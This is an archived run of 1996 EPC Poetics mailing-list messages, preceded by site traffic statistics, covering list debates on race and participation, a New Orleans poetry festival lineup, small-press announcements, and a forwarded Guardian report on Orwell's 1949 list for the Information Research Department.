 20:  0.13%: .kr (South Korea)
 20:  0.10%: .lu (Luxembourg)
 18:  0.07%: .uy (Uruguay)
 16:  0.14%: .br (Brazil)
 14:  0.05%: .yu (Yugoslavia)
  6:  0.04%: .pt (Portugal)
  6:  0.05%: .za (South Africa)
  5:  0.02%: .in (India)
  4:  0.11%: .is (Iceland)
  4:  0.12%: .sg (Singapore)
  3:  0.09%: .cn (China)
  2:  0.03%: .hk (Hong Kong)
  2:  0.12%: .mx (Mexico)
  1:  0.01%: .at (Austria)
  1:  0.02%: .bh (Bahrain)
  1:       : .cl (Chile)
  1:       : .cz (Czech Republic)
  1:  0.03%: .id (Indonesia)
  1:  0.05%: .mt (Malta)
  1:  0.01%: .pl (Poland)
  1:  0.06%: .su (Former USSR)
  1:       : .tw (Taiwan)
```

July most 'popular' menus EPC

```
 2550:  4.09%: /epc/
  395:  6.09%: /epc/authors/
  242:  5.41%: /epc/images/authors/
```

```
 230:  0.67%: /epc/poetics/
 207:  0.74%: /epc/connects/
 183:  9.98%: /epc/ezines/tree/
 163:  7.33%: /epc/sound/
 148:  0.96%: /epc/mags/
 143:  0.93%: /epc/presses/
 137:  0.86%: /epc/documents/
 129:  2.61%: /epc/rift/rift05/
 120:  2.14%: /epc/rift/rift04/
 109:  2.70%: /epc/epclive/
 101:  2.36%: /epc/rift/rift01/
  93:  2.08%: /epc/authors/bernstein/visual/
  85:  1.18%: /epc/rift/
  85:  0.11%: /epc/ezines/treehome/
  82:  0.83%: /epc/authors/bernstein/
  77:  0.19%: /epc/forms/
  69:  0.66%: /epc/ezines/diu/
  67:  0.05%: /epc/poetics/archive/
  66:  0.13%: /epc/ezines/tinfish/tinfish01/
  65:  0.79%: /epc/authors/joris/
  64:  0.43%: /epc/forms/poem/
  63:  0.26%: /epc/display/
  58:  0.25%: /epc/biblioteca/
  57:  0.04%: /epc/ezines/treehome/tree01/
  55:  1.58%: /epc/rift/rift02/
  48:  0.86%: /epc/rift/rift03/
  47:  0.98%: /epc/ezines/exper/
  44:  1.05%: /epc/authors/funkhouser/
  44:  0.14%: /epc/linebreak/
  43:  0.52%: /epc/ezines/spt/
  43:  0.35%: /epc/documents/obits/
  40:  0.63%: /epc/ezines/we/
  38:  0.02%: /epc/authors/glazier/e/e/
  36:  0.56%: /epc/documents/reading/
  35:  0.58%: /epc/ezines/tinfish/
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End of Stats

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283. Robert J Wilson
Re: Covering Cherub
Wed 10 Jul 1996

--

Dear Jerry, I am on the Big Island of Hawaii now, really a sublime and sacred space, and suggest that you ask Gab and HLAC to send you here to give an "Outer Island" reading-- thre is is bookstore in Kamuela that is willing to host you and would be perfect. Have to run now Wills get back to you soon. Rob Wilson

On Tue, 9 Jul 1996, Jerry Rothenberg wrote:

> *Dear Rob Wilson --*
>
> *Thanks for yours, & please feel free to send any essays/works etc. concerning local & Pacific matters. We'll be arriving there on the 4th of September & I understand from Gab Welford that there's a big Bamboo Ridge reading on the 5th, so certainly we'll plan to get to that one. I have an interest in all of that, so looking forward very much to this particular visit. Tell me if you have any ideas or suggestions, and in the meantime*
>
> *all good wishes*
>
> *JERRY*

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284. George Bowering
Re: tonight's HRs
Wed 10 Jul 1996

Ho ho, I just got back from a poetry festival in Cape Town, to find that my fantasy team is in first place by 10 games!

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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285. George Bowering
Re: List wars
Wed 10 Jul 1996

> *db rites:*

What does this mean? Has something happened to Bromige? I have been off the continent.

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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286. Emily Lloyd
Re: maria--/& performance
Thu 11 Jul 1996

Rob to me:
>>But let's not
>>show disrespect for the voices that have spoken.
Eryque to Rob:
>so: i don't think anyone is particulary knocking those that have spoken
>because they spake, but what they have speaketh-ed.
>

I was thinking more along the lines not of what they have speaketh but the *ways* in which "they" (and I'll change that to "we," which is what I mean/t) sometimes speak in discussion. I don't think of aggressive, "I know what I'm talking about" speech as a masc.-gendered thing (though it's popularly supposed to be--to which I say--men are from Mars; women are from Venus; I'm from suburban Virginia). And in most cases, I don't have a problem with this kind of speech & often engage in it myself. It's cool for you (Rob) to be "I know what I'm talking about" about the Stones' sloppy rhythm guitar, because, well--(I'm convinced) you do. But I'd get anxious about a bunch of white folks arguing that adamantly about race & eros in the absence of voices of color, I think,

& that's all. I respect the fact that that may still offend you & others. As for inviting people to join, see Eryque's message--and thanks for that, Eq. emily. sigh.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Emily Lloyd [redacted]
"Emily said Emily said, Emily
is admittedly Emily"--G. Stein

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287. Diane Marie Ward

Fwd: New Orleans Performer List (fwd)

Thu 11 Jul 1996

White Fields Press & The Literary Renaissance and others are planning another Poetry Feast - this time in New Orleans. Please find below an incredible list of performing poets - a "poetic dream team." Ron Whitehead has surpassed himself and the previous Rants with this itinerary.
---------- Diane Ward [redacted] State University of New York at Buffalo

THE AESTHETE'S LIST : http://www.acsu.buffalo.edu/~dward/

"I dreamt I dwelt in marble halls,
And woke to find it true;
I wasn't born for an age like this;
Was Smith, Was Jones, Were you?" -- George Orwell written in 1935.

---------- Forwarded message ----------
Date: Wed, 10 Jul 1996 23:54:10 -0400
From: [redacted]
To: dianemarieward <[redacted]>
Subject: Fwd: New Orleans Performer List

RANT for the renaissance, The Majic Bus, & TRIBE present VOICES WITHOUT RESTRAINT 48-Hour Non-Stop Music & Poetry INSOMNIACATHON at The New Orleans
Contemporary Arts Center and The Howlin Wolf Club August 16-18

PERFORMERS:

Amiri Baraka (poet, NJ), David Amram (musician, NY), Diane di Prima (poet, CA), Ed Sanders (poet, NY), The Iguanas, Storeyville, E. Ethelbert Miller (poet, D.C.), Willie Smith (poet, CA), WAMO (poet, TX), Robert Creeley (poet, NY), Ramblin' Jack Elliott (musician, CA), Robert Palmer (writer), Nicole Blackman (poet, NY), Hersch Silverman (poet, NJ) & Channel Nine (musicians, NY),
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Douglas Brinkley (writer, LA), Steve Dalachinsky (poet, NY), Frank Messina & Spoken Motion (poet/musicians, NY), Louis Bickett & The Cultural Mudding Ritual (poet/artist, KY), Yusef Komunyakaa (poet), Richard Hell (poet/musician, NY), Mark Reese (filmmaker: Premiere documentary on Jackie Robinson), Chris Iovenko (filmmaker: Harry Crews documentary), MouthAlmighty & Bob Holman's THE UNITED STATES OF POETRY (New Orleans Premiere), Chris Felver (photographer/filmmaker, Premiere of Lawrence Ferlinghetti documentary), The Amazing Chan Klan (pop, KY), The Black Pig Liberation Front (multi-media band of future here now, NY), Grand Passion (new wave from Northeast), Tyrone Cotton (blues), Susi Wood (KY mountain folk), Erik LaPrade (poet, NY), Brian Foye (poet, writer/Founder Kerouac Festival, MA), John Rechy (writer, CA), Andrei Codrescu (renaissance man, LA), Jay McInerney (writer), William S. Burroughs II (live phone conversation), James Grauerholz (writer, KA), Ron Seitz (poet/writer, AZ), Jim McCrary (poet, KA), Ron Whitehead (poet/writer, KY), John Sinclair (poet/musician, LA), Dennis Formento (poet/writer, LA), Eleven Eleven (guilt punk, KY), Sander Hicks (playwright/publisher, NY), Soft Skull Press (NY), Little Molasses Theatre Company (production of RAPID CITY, NY), Matt Kohn (poet/photographer, NY), Kalamu Yasalaam (poet/musician, LA), Denis Mahoney (poet/musician, RI), Arthur Pfister (poet, LA), Hozomeen Press (NYC, CT, RI), Pop rocket Records (CT), Ring Tarigh (RI), White Fields Press (KY, TX), the literary renaissance (KY), COMPOST Magazine (NY, MA), Ralph Adamo (poet, LA), W. Loran Smith (poet, KY), Umar Aki Williams (poet, KY), rich Martin (poet/musician, CT), Kent Fielding (poet, AK), Todd Colby (poet, NY), John Deer (low punk), Anastosias Kozaitis (poet, NY), Kevin Gallagher (poet, NY), Casey Cyr (poet, NY), Phil Paradis (poet, KY), Lori Turner (poet, KY), The New Orleans Poetry Forum, MESECHABE (LA), SPLEEN (KY), GREENPEACE, Bops, Crack, Boom! Press (KY), Al McLaughlin (OH), Jordan Green (poet, KY), Will Kotheimer (poet/filmmaker, KY), Wendy-Charly Lemmon (poet, LA), Paul McDonald (poet, KY), NEMO (poet, NY), Annie McClanahan (poet, KY), Mickey Hess (novelist, KY), Michelle Fowler (poet, CO), Andrea Roney (poet, KY), Heather Kolf (poet, KY), IMPALA SUPER (scruff punk), John Hagan (writer, KY), Mike Forman (poet/musician, KY), Bruce Beroff (poet, KY), Jeff Eckman (poet, KY), Debi Coombs (poet, KY), J.B. Wilson (poet, KY), Kevin Coombs (poet, KY), Rebekah Reeves (poet, KY), Paul Levitch (poet, KY), Luke Buckman (poet, KY), Deirdre Skaggs (poet, KY), Gui Stuart (poet, KY), Amanda Hammons (poet, KY), David Minton (poet, KY), Kelly Render (blues & country musician, KY), Matthew Osborn (poet, KY), Randall Keenan (poet), Jason Powell (poet, KY), Cotton Seiler (poet, KA), Michael Leonard (writer, NY), Allison Bona (poet, KY), Aaron May (poet, KY), Margie Nicoll (poet, MA), Marina Karides (poet, MA), Danielle Legros Georges (poet, NY), John Ryan (poet, MA), Seth Cohen (poet, KY), Chris Kubicek (poet, FL), Reverend Jayne Praxis (poet, KY), Kirstin Ogden (poet, AK), Gene Simmons (poet, AK), Kevin Johnson (poet, LA),

Lee Grue (poet/musician, LA), TRIBE Performers, Dorothy Henriques (playwright, LA), Paul Chasse (poet/moto-biker), LA), Dr. Ahmos Zu-Bolton, LA), Christine Trimbo (poet, LA), David Rowe (poet, LA), Dr. Jerry McGuire (poet, LA), Anne Marie (poet, LA), John Bigunet (poet, LA), Cynthia Hogue (poet, LA), Kerry Poree (poet, LA), Barbara Lamont (poet/singer, LA), Nancy Harris (poet, LA), Dell Hall (poet, LA), Ben Gunn (poet/musician, LA) Andrea Gereighty (poet, LA), Bonnie Fastring (poet, LA), Nancy Cotton (poet, LA), Chris Champagne (poet, LA), Stan Bemis (poet, LA), Rene Broussard (video artist, LA), Mada Plummer (poet, LA), Keith Clatyon (vibraphonist, LA), Karen Celesan (poet, LA), Robin Harris Thompson (singer/poet, LA), Kyla Thompsom (9 year old singer/poet, LA), Samara Jones (11 year old poet, LA), Michael Clatyon, Valentine Pierce (poet, LA), Kerry Poree (poet, LA), Quo Vadis Gex Breaux (poet, LA), Ted Graham (musician, LA), Gina Ferrera (poet, LA), Robert Menuet (poet, LA), Clara Connell (poet, LA), plus more to be added plus last minute special guest appearances.

EVENT SPONSORS:

the literary renaissance, White Fields Press, The Eisenhower Center for American Studies & the Majic Bus at University of New Orleans, TRIBE Magazine, The New Orleans Contemporary Arts Center, The Howlin Wolf Club, EXQUISITE CORPSE Magazine, The City of New Orleans, The New Orleans Poetry Forum.

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288. **Eryque Gleason**
Re: maria--/& performance
Thu 11 Jul 1996

Rob H writ:
>I can understand your frustration. But:
>
>The best way to involve more women and people of color in this group
>is to invite them here, don't you think? Why slam others for being white
>or male, why transfer the abuse from patriarch to matriarch,

yeah, but. well, first, i don't think that's quite what emily was getting at, but that's a side issue right now (although maybe not to emily, and apologies if this is redundant, there's quite a few more messages waiting to be read. y'allses have been talkative lately!)

could someone explain to me why, more or less, any marginalized group of people would want to come into an area that is quite clearly not theirs (economically speaking), has been colonized so thouroughly as to be left dead for all newcomers? makes me think of when my aunt and uncle (who are loaded)

invite me over for thanksgiving dinner. sure, it's a free meal but they've not once let me even sit in the '63 corvette, the biggest kick of the evening is playing fetch with the (highly groomed and pedigreed) elkhound while we watch football on the nine hundred inch television. getting back to campus was always more comforting than aunt rita's carefully-planned soft lighting (i think because i knew that it was, in some sense, mine). might have something to do with the fact that they try to pull of a blue-collar persona, spending more money on plastic bags in a week than i could spend on all of my groceries. though i gotta admit, those new heavy duty zippers are kinda cool, kept the leftovers from spilling.

> *But let's not*
> *show disrespect for the voices that have spoken.*

so: i don't think anyone is particulary knocking those that have spoken because they spake, but what they have speaketh-ed.

happy summering!
eryque

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289. Carnography
Re: maria--/& performance
Thu 11 Jul 1996

At 11:25 PM 7/10/96, Eryque Gleason is rumored to have typed:

> *Rob H writ:*
> *I can understand your frustration. But:*
>
> *The best way to involve more women and people of color in this group*
> *is to invite them here, don't you think? Why slam others for being white*
> *or male, why transfer the abuse from patriarch to matriarch,*

I appreciate your civility, Eryque. I will try to respond in kind, you ulcerous flounder-mount.

> *yeah, but. well, first, i don't think that's quite what emily was getting*
> *at, but that's a side issue right now*

Is it really a side-issue? Would it be a side-issue if I commented on a plethora of "overly-aggressive" women in this list? What exactly was she getting at such a necessitated this backhanded compliment? I'm not criticizing anyone's intention here: I presume our motives are good ones. But but but: This--

> *Mostly I got worried & a little nauseated at the*
> *prospect of a predominantly-white-membered list discussing "race & erotics"*
> *esp. in the assertive and "I know what I'm talking about" voice*

--seems an unfortunate choice of words, not because the passage is horribly offensive, but because it stoops to the stereotyping it denounces.

> *could someone explain to me why, more or less, any marginalized group of people would want to come into an area that is quite clearly not theirs (economically speaking)*

Marginally speaking, I'm a Jew (on my mother's side). Consider me privileged if you dare, but in the words of Joe Woods, "anti-semitism is the socialism of fools." Also: I'd mention my sexual orientation, but I'm trying to finish my sandwich.

Economically speaking, when I was nine, my parents divorced and my mother was left with nothing. At fourteen, I lived with a prostitute and paid my own rent (though I still took lessons, and practiced piano almost every evening). Even now, my yearly income defines me squarely as lower class. Yet I don't feel I've stumbled into anyone else's economic territory.

> *has been colonized so thouroughly as to be left*
> *dead for all newcomers?*

Since I myself am a newcomer who doesn't take said colonization for granted, and since there seems to be space here for my voice, why shouldn't there be equal space for newer voices?

> *makes me think of when my aunt and uncle (who are*
> *loaded) invite me over for thanksgiving dinner. sure, it's a free meal but*
> *they've not once let me even sit in the '63 corvette, the biggest kick of*
> *the evening is playing fetch with the (highly groomed and pedigreed)*
> *elkhound while we watch football on the nine hundred inch television.*
> *getting back to campus was always more comforting than aunt rita's*
> *carefully-planned soft lighting (i think because i knew that it was, in*
> *some sense, mine). might have something to do with the fact that they try*
> *to pull of a blue-collar persona, spending more money on plastic bags in a*
> *week than i could spend on all of my groceries. though i gotta admit,*
> *those new heavy duty zippers are kinda cool, kept the leftovers from*
> *spilling.*

And enclosed within those bags are the leftovers of the poor: *their own cadavers*. (Raus! Raus! Kommen Sie schnell!)

(The author wishes to apologize for characterizing Germans as nazis and morbid humor as indigenously German. Why? Because I care, Enryque.)

This is funny stuff, and I like your eye for ironies. But your loaded-relative analogy posits a loaded economic disparity.

> *But let's not*
> *show disrespect for the voices that have spoken.*

> *so: i don't think anyone is particulary knocking those that have spoken because they spake, but what they have speaketh-ed.*

(Are you suggesting that I write like an Elizabethan? Then blame it on my parents: Mom quoted Hamlet whenever I burned my eggs. When it comes to archaisms, I invoke the Menendez defense.)

I can understand anyone's problem with the "I know what I'm talking about" argument, when conclusions are untested and reasons unexplained. But if white males are the only perpetrators of this crime, then eugenicists have had the right idea all along.

Death to reductivism! (Wait a minute--was that reductive?)

> *happy summering!*
> *eryque*

Sumer is icumen in
or so they sing at breakfast inns

http://www.interport.net/~scrypt

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290. Aldon L. Nielsen
Re: riposte
Thu 11 Jul 1996

This time my response to Robert von Hallberg got to the poetics list before his message -- This may mean that he has rejected my advice to sign onto the list if he wants to continue the discussion in public, and that he is waiting for Keith Tuma to return home to forward his message -- who knows -- It will appear here some day I am sure --

and by the by -- just got a letter from David Bromige, who is just fine, and I thought that was the abbrev. for decibels anyway --

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291. R I Caddel
Invisible books
Thu 11 Jul 1996

Ah - OK if I just mention a couple of new books? Call it my monthly shot or whatever....

NEW FROM INVISIBLE BOOKS :

Bill Griffiths : Rousseau & The Wicked : £5.50 : 0 9521256 3 3

14

A man in a silver suit.
A briefcase left in a minority-interest club.
And a cabal of business and government.

The agenda of a banana county.

Not lasses of lotional warm-flower skin
not wives of cracky chat / matrons

But a senate that kisses horses.

and here's one for the list:

29

What better disguise for evil
than sonnets?
How can you divide
without rhyme?
How can you obey
without art?

O be ready
there are some sick mysteries and mirages
in the sweetest story.

And Due Soon from Invisible Books:

Catherine Walsh : Idir Eatortha & Making Tents : £5.50 : 0 9521256 4 1

Invisible Books are available direct from the publishers:
INVISIBLE BOOKS, BM INVISIBLE, LONDON WC1N 3XX

or from SPD

Thanks. Same place next month then?
Richard Caddel

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292. Ron Silliman
The List
Thu 11 Jul 1996

173 messages in three days? Boy, am I glad that I have the digest option. Still, there are problems with it -- it makes it hard, for example, to save just Simon's elegant synopsis of M. Yeh's article (which I found fascinating and actually not too dissimilar a history from what one might have expected in the old USSR circa 1980). One problem is that in replying to a single message out of a large

bundle, one does tend to forget just who said what, so that leads to writing "someone" when one should have written "Joe Amato," for example.

Nobody's written about Lorenzo Thomas as a Texas poet either. He is one of literally hundreds of regionally dispersed (and from the perspective of a "national scene" thus marginalized) poets doing great work in this country.

I recall once seeing a great long poem of his in, of all places, Monthly Review, tho I don't think that work is captured in The Bathers. Does anybody out there in cyberspace have a copy from which they could make me a xerox?

It was also a piece of his in Monthly Review, I think, that first turned me onto the work of Frank Stanford.

And nobody's written yet about that other category of "vermin" (to use Mr Levy's paradigm), writers working in the computer industry, of which this list has many examples (some of them also in the pure lurker mode too). I even saw the PR manager for the Bank of America on the directory the last time I checked it on the EPC (Hi, Peter).

All of the lists that I'm on that have heavy academic participation are quieter than the city of Paris during the month of July right now (viz. the Cage list, which is taking its name "silence" too literally).

So, yes, I do want to note that I am aware that there are varieties of lurking (I do a fair amount of it myself), the only kind of which I find truly obnoxious being the ones who, when you talk to them in person, complain about how "low level" the discourse here is. As if their nonparticipation weren't one of the defining conditions of same!

But 173 messages in three days? Wowie zowie.

Ron Silliman

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293. Bill Luoma/Vanstar
Poets, Critics, and Computrix
Thu 11 Jul 1996

Ron,

The computer industry is really cool.

"The Regional Analyst may need to assist the Logistics Analyst with part escalations and will seek the aid of the Logistics Analyst in the de-escalation of the 'people' escalations."

Bill

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294. **henry**
Re: e-mail politics
Thu 11 Jul 1996

On Wed, 10 Jul 1996 16:38:10 -0400 Mark Wallace said:
>
>So, here's my riddle. I'll bet if you said "poetry and poetry criticism"
>have a fundamentally generative and symbiotic relation, a larger
>proportion of those people who write criticism mainly would agree,
>whereas a lesser number of people who mainly write poetry would agree. In
>fact I bet it would make some poets actively annoyed. I'd love responses
>to this riddle: is what I'm saying true, or not? If it is true, why?

Poets & critics go together like firemen & insurance companies, like doctors and lawyers, like big sister and the kid who tags along, like whales & barnacles, like doctors and leeches, like leeches and fish, like fish and lemons, like lemons and lawyers. Drive on.

Poets don't write, they are written. Critics are smitten; they write.

Poetry better be good enough for criticism; otherwise, it's just criticism.

Critics live in the world created by poets and bequeath it to the little baby barnacles of the future.

- Henry Gould (forthcoming in "Opie's Post Humors: the Nervous Tics of An Aphorism" Peter Lang Press, 1997, $800. if you order early)

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295. **henry**
Re: Onward: Contemporary Poetry & Poetics
Thu 11 Jul 1996

On Wed, 10 Jul 1996 13:33:23 -0400 Rod Smith said:
>Well, an eastern or Wittgensteinian approach wld be a contextual approach--
>an understanding of context as multiply & complexly constitutive. The
>emphasis being not only on what we can "compute" but also upon
>acknowledgement that any given context is more complexly constituted than
one
>can apprehend-- which is why intuition is such a powerful & real aspect of
>our experience & also why it is so individualized.
>
>Seems to me both Wittgenstein & aspects of buddhist & taoist thought share a
>concern with pointing out limits of apprehension & *using them.* One cld also
>talk about Duchamp in these terms.

My response is typically arrogant Western: yes, the context is there - so what? What can you DO with it? The poem is made of choices - it's the spine on which context attaches itself like a barnacle. Elena Shvarts (a St. Petersburg westerner) said to me at the Hoboken conference: "Americans use the poem to find out what they're going to say. That's why they don't memorize & recite like the Russians." (this is a very rough adaptation of what she said to me). Choices give the edge, the structure, the limit, the character. At least in my imagination. It's the leap - even if it's into the dark. - Henry Gould

↑ Index

296. **Larry Price**
Re: Onward: Contemporary Poetry & Poetics
Thu 11 Jul 1996

What I find suggestive in this thread about poetics is all that, in it, points toward the "problem" of poetic language. The bit Rod paraphrased from Olson is of course relatively early. A much more accurate token of Olson's practice would be the Black Chrysanthemum: that which exists through itself is what is called meaning. But that which exists in and of itself isn't necessarily going to be FOR itself or even for _an_ other. That is, as a term it's going to exist outside language. But then I think it's clear there are agencies by which one thing _becomes_ another thing. And why I agree with Rod about transparency. That is, to posit language at all as _a_ thing (esp. one outside the zeitgeist) DENIES it the agency which otherwise does get the fly out of the flybottle - ie, poetic language as the transformation of one thing into another thing, either one of which or both may exist OF it/themselves but which, in the elision, the agency, casts forward for us - often the feeling is _into us_ - the possibility that that meaning _would_ be. It's that heuristic call forward of poetic language that tells me I no longer need the eternal moods of the bleak wind to ground my agency. Rather it's the swirling motion of that call forward - the adequacy of it and by implication and in general poetic language - that I think I respond to in, say, Dickinson, Villon, or Sappho, and not some iron ribbing in language.

Larry

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297. **henry gould**
Re: Onward: Contemporary Poetry & Poetics
Thu 11 Jul 1996

On Thu, 11 Jul 1996 09:08:26 -0400 Larry Price said:
>agencies by which one thing _becomes_ another thing. And why I agree with Rod

>about transparency. That is, to posit language at all as _a_ thing (esp. one
>outside the zeitgeist) DENIES it the agency which otherwise does get the fly
>out of the flybottle - ie, poetic language as the transformation of one thing
>into another thing, either one of which or both may exist OF it/themselves
>but which, in the elision, the agency, casts forward for us - often the
>feeling is _into us_ - the possibility that that meaning _would_ be. It's
>that heuristic call forward of poetic language that tells me I no longer need
>the eternal moods of the bleak wind to ground my agency. Rather it's the
>swirling motion of that call forward - the adequacy of it and by implication
>and in general poetic language - that I think I respond to in, say,
>Dickinson, Villon, or Sappho, and not some iron ribbing in language.

This is very interesting and sounds like a transcription of, yes, here we go again, Mandelstam's essay "Coversation about Dante" where he distinguishes between the transformative impulse and the replaceable materials of language. But I don't think I posited language as a thing or denied it's agency or said it was outside the zeitgeist - I said it mastered the zeitgeist by being free comprehension WITHIN the zeitgeist, and that this activity of language is a kind of constant, an activity if you like, within the changing pressures of history. - Henry Gould

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298. **Pierre Joris**

George Orwell, informer (fwd)

Thu 11 Jul 1996

& now for something completely different.... Pierre

---------- Forwarded message ----------
Date: 11 Jul 96 02:48:37 EDT
From: John Whiting <[redacted]>
To: Forum KPFA <[redacted]>

Subject: George Orwell, informer

No apologies for this "off-topic" posting. Without indulging in simplistic analogies, this revelation echoes endlessly down the halls of KPFA's history - Orwell's essay on "Politics and the English Language", for instance, was broadcast again and again on Pacifica stations.

Perhaps the bottom line is Ezra Pound's plaintive cry,
"Every man has the right to have his ideas examined one at a
time."

John

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The [London] Guardian July 11 1996

ORWELL OFFERED WRITERS' BLACKLIST TO ANTI-SOVIET PROPAGANDA UNIT

Richard Norton-Taylor and Seumas Milne

GEORGE ORWELL, the socialist author, offered to provide a secret Foreign Office propaganda unit linked to the intelligence services with names of writers and journalists he regarded as "crypto-communist" and "fellow-travellers" who could not be trusted, documents released yesterday at the Public Record Office reveal.

He made the offer in 1949, shortly before he died, to the covert Information Research Department, which used well-known writers and publishers - including Bertrand Russell, Stephen Spender and Arthur Koestler - to produce anti-communist material during the cold war. Documents also show that the IRD singled out articles from Tribune, the leftwing but then anti-Soviet paper, to back up its hidden crusade.

In March 1949 an IRD official, Celia Kirwan, visited Orwell at a sanatorium in Cranham, Gloucestershire, where he was suffering from tuberculosis. "I discussed some aspects of our work with him in great confidence," she told her colleagues. "He was delighted to learn of them, and expressed his wholehearted and enthusiastic approval of our aims."

Although too ill to write himself, he gave the names of potential contributors. Early the following month, Orwell wrote to Kirwan offering to give her "a list of journalists and writers who in my opinion are crypto-communists, fellow- travellers or inclined that way and should not be trusted... "

He said his notebook with the names was at his home in London. He insisted that the list was "strictly confidential" since it would be libellous to call somebody a "fellow-traveller."

The revelation is likely to shock many of Orwell's admirers, for whom he is a 20th century radical icon. The files released yesterday do not contain the list of names but a

card placed next to Orwell's letter to Kirwan says that a document has been withheld by the Foreign Office.

Bernard Crick, Orwell's biographer, confirmed yesterday that Orwell had kept a "notebook of suspects" containing 86 names. "Many were plausible, a few were far-fetched and unlikely," he said. Michael Foot, a friend of Orwell's in the 1930s and 1940s, said he found the letter "amazing".

"There's been a lot of argument about him deserting his socialism at the end of his life. I don't think that's true, but I'm very surprised he was dealing with the secret services in any form."

The papers show that the IRD promoted the foreign language publication of Animal Farm, Orwell's classic anti-communist allegory. "The idea is particularly good for Arabic in view of the fact that both pigs and dogs are unclean animals to Muslims," noted an embassy official in Cairo.

The unit feared communism in Saudi Arabia, notably among oil workers in Dhahran, the scene of last month's bombing of an American base.

The IRD arranged the distribution of Tribune to British missions abroad. Officials noted: "[It] combines the resolute exposure of communism and its methods with the consistent championship of those objectives which leftwing sympathisers normally support".

They added: "Many articles in it can be effectively turned to this department's purposes."

Documents show that the IRD was closely involved with the Trades Union Congress, lobbied against unions supporting the National Council for Civil Liberties, and played an active role in splitting the international union movement in the late 1940s.

A note from a senior IRD official in 1949 warned that the NCCL (now renamed Liberty) was "heavily communist-penetrated and is in fact... being used for little if nothing more than attacking our colonial administration and policies at every opportunity".

The "persuasion" was done through the TUC, where IRD's main contact was Vic Feather, who later became general secretary.

##

This is the text of George Orwell's letter to Celia Kirwan of Whitehall's secret Information Research Department.

"I DID suggest DARCY GILLY, (Manchester Guardian) didn't I? There is also a man called CHOLLERTON (expert on the Moscow trials) who cld be contacted through the Observer.

Cranham
6.4.49.

Dear Celia,

I haven't written earlier because I have really been rather poorly, and I can't use the typewriter even now, so I hope you will be able to cope with my hand-writing.

I couldn't think of any more names to add to your possible list of writers except FRANZ BORKENAU (the Observer would know his address) whose name I think I gave you, and GLEB STRUVE (he's at Pasadena in California at present), the Russian translator and critic. Of course there are hordes of Americans, whose names can be found in the (New York) New Leader, the Jewish monthly paper "Commentary", and the Partisan Review. I could also, if it is of any value, give you a list of journalists and writers who in my opinion are crypto-communists, fellow-travellers or inclined that way and should not be trusted as propagandists. But for that I shall have to send for a notebook which I have at home, and if I do give you such a list it is strictly confidential ...

Just one idea occurred to me for propaganda not abroad but in this country. A friend of mine in Stockholm tells me that as the Swedes didn't make films of their own one sees a lot of German and Russian films, and some of the Russian films, which of course would not normally reach this country, are unbelievably scurrilous anti-British propaganda. He referred especially to a historical film about the Crimean war. As the Swedes can get hold of these films I suppose we can; might it not be a good idea to have showings of some of them in this country ...

I read the enclosed article with interest, but it seems to me anti-religious rather than anti-semitic. For what my opinion is worth, I don't think anti-anti-semitism is a strong card to play in anti-Russian propaganda. The USSR must in practice be somewhat anti-semitic, as it is opposed

both to Zionism within its own borders and on the other hand to the liberalism and internationalism of the non-Zionist Jews, but a polyglot state of that kind can never be officially anti-semitic, in the Nazi manner, just as the British Empire cannot. If you try to tie up Communism with anti-semitism, it is always possible in reply to point to people like Kaganovich or Anna Pauleer, also to the large number of Jews in the Communist parties everywhere. I also think it is bad policy to try to curry favour with your enemies. The Zionists Jews everywhere hate us and regard Britain as the enemy, more even than Germany. Of course this is based on misunderstanding, but as long as it is so I do not think we do ourselves any good by denouncing anti-semitism in other nations.

I am sorry I can't write a better letter, but I really have felt so lousy the last few days. Perhaps a bit later I'll get some ideas.

With love,
George.'

END

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299. henry gould
Onward: Contemporary etc.
Thu 11 Jul 1996

Addendum to previous post: if you agree with Larry Price that language is not so much a thing as the shadow of a transformative activity (this is bad shorthand), the call or gesture of possible meaning, then perhaps it's not language but poetry-making which is the "constant", persistent thing pervading the "zeitgeist" - a bridge between the oracle and the prophet to the demotic & mundane (Al Cook frames his recent book around this tandem). Because, through conversation and constructive signalling, it REACHES the timebound, it becomes the door for the prophetic - doesn't transcend just the zeitgeist but ordinary Time itself (time in its tapeworm or metronome aspect) - door into the carnival, liminal, mardigras, playground area. - Henry Gould

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300. **maria damon**
white rose
Thu 11 Jul 1996

hey everyone, just saw the beat exhibit at the walker art center here in mpls. i'd seeen it very briefly in nyc, but like it better in mpls (howz that for a surprise! a pleasant one). i was especially touched by the way jay defeo's white rose is lit --it has a radiance that seems to come from inside of it, that makes it look as if its actually growing larger and breathing as one gazes --and the short film of its removal from her sf apt (by --is it bruce conners?) almost had me in tears. i think it's going west (ca) next, tho i'm not sure where. sf? probly. and get this, the African American special collections at the university's library has the original typed ms of an unpublished bob kaufman poem, "hospitalgram," now on display in the exhibit. wow. my very own institution finally has something i can write home about. maybe this'll be a good year after all. optimistically yrs, md

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301. **David Baratier**
Re[2]: List wars
Thu 11 Jul 1996

testing

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302. **Dean Taciuch**
Re: Onward: Contemporary Poetry
Thu 11 Jul 1996

> *P.S.-- yes, I know it wasn't that simple for Olson.*

I'm working now on recasting the paper I read at Orono--it was on Olson and Wittgenstein (and there was a short passage on Buddhist methods as well). Anyway, yes, coming from a Wittgensteinian perspective, Olson's "stance" runs into a limit:I had cast this in terms of language games--within a particular game, one can try to "project" ("from where the poet got it, over to, etc"). But once one leaves that game, there's the limit of common usage. The example, for me, is Olson's vision or version of the Maya--as much as he sets them up as models for the projective stance, they're not. As much as he admires their way of being in the world, he can't be them. And the language he uses to describe them (as "animals") reveals the limits of the language (Western aesthetics) he has available to him, the language game in which he is involved.

I want to explore the individual applications of this--to what extent do these limits exist between individuals in the same language game?

"Limits / are what any of us / are inside of"

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303. Dean Taciuch
Re: Onward: Contemporary Poetry & Poetics
Thu 11 Jul 1996

> *What I find suggestive in this thread about poetics is all that, in it, points toward the "problem" of poetic language. The bit Rod paraphrased from Olson is of course relatively early. A much more accurate token of Olson's practice would be the Black Chrysanthemum: that which exists through itself is what is called meaning. But that which exists in and of itself isn't necessarily going to be FOR itself or even for _an_ other. That is, as a term it's going to exist outside language.*

